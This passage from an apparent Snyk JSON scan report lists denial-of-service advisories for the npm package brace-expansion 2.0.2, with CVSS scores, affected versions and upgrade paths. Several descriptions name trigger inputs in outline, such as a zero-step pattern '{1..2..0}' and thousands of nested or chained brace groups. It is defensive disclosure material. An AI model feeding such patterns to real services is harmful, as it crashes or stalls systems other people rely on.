"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
